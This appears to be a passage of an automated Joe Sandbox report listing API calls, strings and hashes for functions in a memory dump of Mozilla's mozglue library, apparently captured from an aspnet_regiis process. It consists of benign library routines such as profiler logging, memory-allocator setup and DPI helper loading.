Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DF350
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF35D
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF381
GetCurrentThreadId.KERNEL32 ref: 6C7DF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF3A0
GetCurrentThreadId.KERNEL32 ref: 6C7DF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF491

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF3CF

Part of subcall function 6C7DF070: GetCurrentThreadId.KERNEL32 ref: 6C7DF440
Part of subcall function 6C7DF070: AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF44D
Part of subcall function 6C7DF070: ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF4A8
GetCurrentThreadId.KERNEL32 ref: 6C7DF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF561
GetCurrentThreadId.KERNEL32 ref: 6C7DF577
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF585
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C7DF3A8
[I %d/%d] profiler_resume, xrefs: 6C7DF239
[I %d/%d] profiler_resume_sampling, xrefs: 6C7DF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C7DF56A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: e591d9c17587e5c34c4ffd28ba98cda258a0236033f0e7b1f91b341596eec98d
Instruction ID: eda8b271d273fbcddc32dbf036038c19441f95371e9a7339167f7c96ea923bdb
Opcode Fuzzy Hash: e591d9c17587e5c34c4ffd28ba98cda258a0236033f0e7b1f91b341596eec98d
Instruction Fuzzy Hash: 68D138717042028FDB209F69D50A7AA77F8EB5636CF15457AE96983F81DB306808C7E2

Function 6C7A64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C7A64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C7A64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C7A6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C7A6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7A652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C7A671C
GetCurrentProcess.KERNEL32 ref: 6C7A6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7A672F
GetCurrentProcess.KERNEL32 ref: 6C7A6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C7A6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C7A6A80
GetSystemInfo.KERNEL32(?), ref: 6C7A6ABE
__Init_thread_footer.LIBCMT ref: 6C7A6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7A6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7A6AF7

Strings

user32.dll, xrefs: 6C7A6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C7A6798
detoured.dll, xrefs: 6C7A64DA
_etoured.dll, xrefs: 6C7A64ED
nvdxgiwrap.dll, xrefs: 6C7A6513
nvd3d9wrap.dll, xrefs: 6C7A6500

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 34a257032b37067b6627320b4952f84a59518a73319645b7ed4abc1a91f47ad6
Instruction ID: 686a76d48d1fb8fdecc8a3eb0d30734db46752a5d0a94818312033e6b2a4e7a3
Opcode Fuzzy Hash: 34a257032b37067b6627320b4952f84a59518a73319645b7ed4abc1a91f47ad6
Instruction Fuzzy Hash: BDF1F770A052199FDB20CFA8CE48B9AB7B5AF45318F1442B9D819E3B41D731AF85CF91

Function 6C7D7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C7D81E3, 6C7D8311
name, xrefs: 6C7D7ECF, 6C7D8335
(pre-xul), xrefs: 6C7D7E88
data, xrefs: 6C7D8280, 6C7D83E1

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 0747a7f3b093614838bf42490fd879c3eb74d348fba1f5d39952e15bdc4e359d
Instruction ID: c00d9701951fb063feba53aa5df8d404655582ba410cf7cfd076f182c4bdd35e
Opcode Fuzzy Hash: 0747a7f3b093614838bf42490fd879c3eb74d348fba1f5d39952e15bdc4e359d
Instruction Fuzzy Hash: 07E18FB1B043418BC710CF68C94565BFBEABB85318F558E2DE899D7780DB70ED098B91

Function 6C7BD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD4F2
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD50B

Part of subcall function 6C79CFE0: EnterCriticalSection.KERNEL32(6C81E784), ref: 6C79CFF6
Part of subcall function 6C79CFE0: LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C79D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD52E
EnterCriticalSection.KERNEL32(6C81E7DC), ref: 6C7BD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BD6A6
LeaveCriticalSection.KERNEL32(6C81E7DC), ref: 6C7BD712
LeaveCriticalSection.KERNEL32(6C81E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C7CD1C5), ref: 6C7BD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C7BD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C7BD82C
<jemalloc>, xrefs: 6C7BD827

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: c32f9dd7e2e07834a4d7f21a298a3b1b0034ddb1c55ecc86f6b0c70b0db5659b
Instruction ID: 2aeecfb424257bb08660e4ca2b2ce215d5cc039eb86e7f439ad1b521c33ee9fb
Opcode Fuzzy Hash: c32f9dd7e2e07834a4d7f21a298a3b1b0034ddb1c55ecc86f6b0c70b0db5659b
Instruction Fuzzy Hash: 6591C371A047028FD724CF38C29466AB7E1EBA9318F14893EE55AD7F85D730E844CB86

Function 6C7F4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C7F4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F4F2E
moz_xmalloc.MOZGLUE ref: 6C7F4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C7F4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7F52E6
Sleep.KERNEL32(00000010), ref: 6C7F5481
free.MOZGLUE(?), ref: 6C7F5498

Strings

(, xrefs: 6C7F5250

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: e2c63972ec8334da7cb222abf955668e240531d1aa27fe956c795990594ad458
Instruction ID: 04e5ec7831d920bb8ce2a26b863bce51f670b87a702449886eb26d0cb9049f20
Opcode Fuzzy Hash: e2c63972ec8334da7cb222abf955668e240531d1aa27fe956c795990594ad458
Instruction Fuzzy Hash: 46F1B171A18B018FC726CF39C85162BB7F9AFD6388F05872EF856A7651DB319442CB81

Function 6C7A7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C81E744), ref: 6C7A7885
LeaveCriticalSection.KERNEL32(6C81E744), ref: 6C7A78A5
EnterCriticalSection.KERNEL32(6C81E784), ref: 6C7A78AD
LeaveCriticalSection.KERNEL32(6C81E784), ref: 6C7A78CD
EnterCriticalSection.KERNEL32(6C81E7DC), ref: 6C7A78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C7A78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C7A795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C7A79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C7A7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C7A7C82
LeaveCriticalSection.KERNEL32(6C81E7DC), ref: 6C7A7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C7A7DAF

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 0d45476715fdaa5c473f2a42b9e7c1f3767cecc4b925761506db9373d474e4d3
Instruction ID: 654dd4ccd7b0a551c1427887483e10b17e056184dd07f572c5020e20184694c0
Opcode Fuzzy Hash: 0d45476715fdaa5c473f2a42b9e7c1f3767cecc4b925761506db9373d474e4d3
Instruction Fuzzy Hash: 9D027271A0121ACFDB54CF59CA84799B7B5FF88318F2582AAD809A7715D730BE91CF80

Function 6C7F7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C7F7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C7F7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7F707E

Part of subcall function 6C7A81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C7A81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7F7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7F709C
LocalFree.KERNEL32(?), ref: 6C7F70AA

Strings

(null), xrefs: 6C7F706A, 6C7F7083
### ERROR: %s: %s, xrefs: 6C7F7087

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ae0d42dbe7ec857c8ad52c6c9ffcd08d1ce24f19baa84c545743b1a864b65400
Instruction ID: 8d8858cbff70002cde4e999b4d56fe1a29e68f509fc33d0968099b88bb1fa886
Opcode Fuzzy Hash: ae0d42dbe7ec857c8ad52c6c9ffcd08d1ce24f19baa84c545743b1a864b65400
Instruction Fuzzy Hash: 8C0184B2A00109AFDB145BA5DC4EDAB7BFCEF49258B010439FA05A2B41D6716918CBE1

Function 6C7E2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C7E2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C7E2C61

Part of subcall function 6C794DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C794E5A
Part of subcall function 6C794DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C794E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7E2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7E2E2D

Part of subcall function 6C7A81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C7A81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C7E2E3B
(root), xrefs: 6C7E354F
expected a Time entry, xrefs: 6C7E2E36

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 5681da29a4f2b62af4b7326fd123bdc2cebeeb97b9b07b9c9f8fd3c90446043e
Instruction ID: 398c7679de5f033cad3f97ed83f189114eb597e6ae60c464d6e15f15b64c5734
Opcode Fuzzy Hash: 5681da29a4f2b62af4b7326fd123bdc2cebeeb97b9b07b9c9f8fd3c90446043e
Instruction Fuzzy Hash: 1C91D2726087428FC724CF28C58969FB7E0AFC9358F104D2DE59A8BB60DB30D949CB52

Function 6C7F9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C7F9F3D
__aulldiv.LIBCMT ref: 6C7F9F77
__aullrem.LIBCMT ref: 6C7F9F8C
__aulldiv.LIBCMT ref: 6C7FA023

Strings

-Infinity, xrefs: 6C7F9E60, 6C7F9E7B
NaN, xrefs: 6C7F9EAB

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 53b17d96b48c00e36ef2b9d0ef523a43733321107cbed980537a53c2fc9c7761
Instruction ID: a0d240c80e9119c69dcdb5f9cf086b71a68328f308a8261739ba931d7fd03116
Opcode Fuzzy Hash: 53b17d96b48c00e36ef2b9d0ef523a43733321107cbed980537a53c2fc9c7761
Instruction Fuzzy Hash: 21C1DE31F043198FDB14CFA8CA8479EB7B6FB84324F15452DD425ABB80DB71A94ACB91

Function 6C80545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C808A4B

Strings

~qyl, xrefs: 6C8056C7, 6C805740, 6C805703, 6C809269, 6C80921F, 6C809459, 6C80948F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memset
String ID: ~qyl
API String ID: 2221118986-1164895512
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: b67ec6e34cba9fa6512ae4c01e99be038dc335e368658739ab64a4667c984d3b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 37B1D472B0021ACFDB24CF68CD917A9B7B2EF85314F1906A9C549EB781D730A985CB91

Function 6C80542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C80925C

Strings

~qyl, xrefs: 6C8056C7, 6C805740, 6C805703, 6C809269, 6C80921F, 6C809459, 6C80948F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memset
String ID: ~qyl
API String ID: 2221118986-1164895512
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 16308fe08f6f88023c83867b9bbf13cb2b449226b1f8d7bd0400b4671a9cc12f
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: B3B1C572F0160ACFDB24CE68CD816E9B7B2EF85314F150679C949EB785D730A989CB90

Function 6C8050C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C808E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C80925C

Strings

~qyl, xrefs: 6C8056C7, 6C805740, 6C805703, 6C809269, 6C80921F, 6C809459, 6C80948F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memset
String ID: ~qyl
API String ID: 2221118986-1164895512
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 8ecc29be80798f407ddf7d8e52e29f51b68715e55e6ae3668bfe8b424f9ecc09
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: ACA1D772F0021ACFCB24CE68CD90799B7B2AF85314F1546B9C949EB785D730A999CB90

Function 6C7E77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7E7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7E7A93

Part of subcall function 6C7B5C50: GetTickCount64.KERNEL32 ref: 6C7B5D40
Part of subcall function 6C7B5C50: EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7E7AA1

Part of subcall function 6C7B5C50: __aulldiv.LIBCMT ref: 6C7B5DB4
Part of subcall function 6C7B5C50: LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C7E7B31

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3bdde8b19eeaf440b82ae62774cb6e0448b80dccb53184ed882b137c61afbdb3
Instruction ID: 61773013f18072be56cfd2971def42b0180517a054ad639f5c71c368ee0198f0
Opcode Fuzzy Hash: 3bdde8b19eeaf440b82ae62774cb6e0448b80dccb53184ed882b137c61afbdb3
Instruction Fuzzy Hash: 42B1B1367083818BCB14CF25C65465FB7E2BFC9318F154A2CE99567791DB70E90ACB82

Function 6C7F55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C7CE1A5), ref: 6C7F5606
LoadLibraryW.KERNEL32(gdi32,?,6C7CE1A5), ref: 6C7F560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C7F5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C7F563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C7F566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C7F567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C7F5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C7F56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C7F56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C7F56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C7F56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C7F5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C7F572F
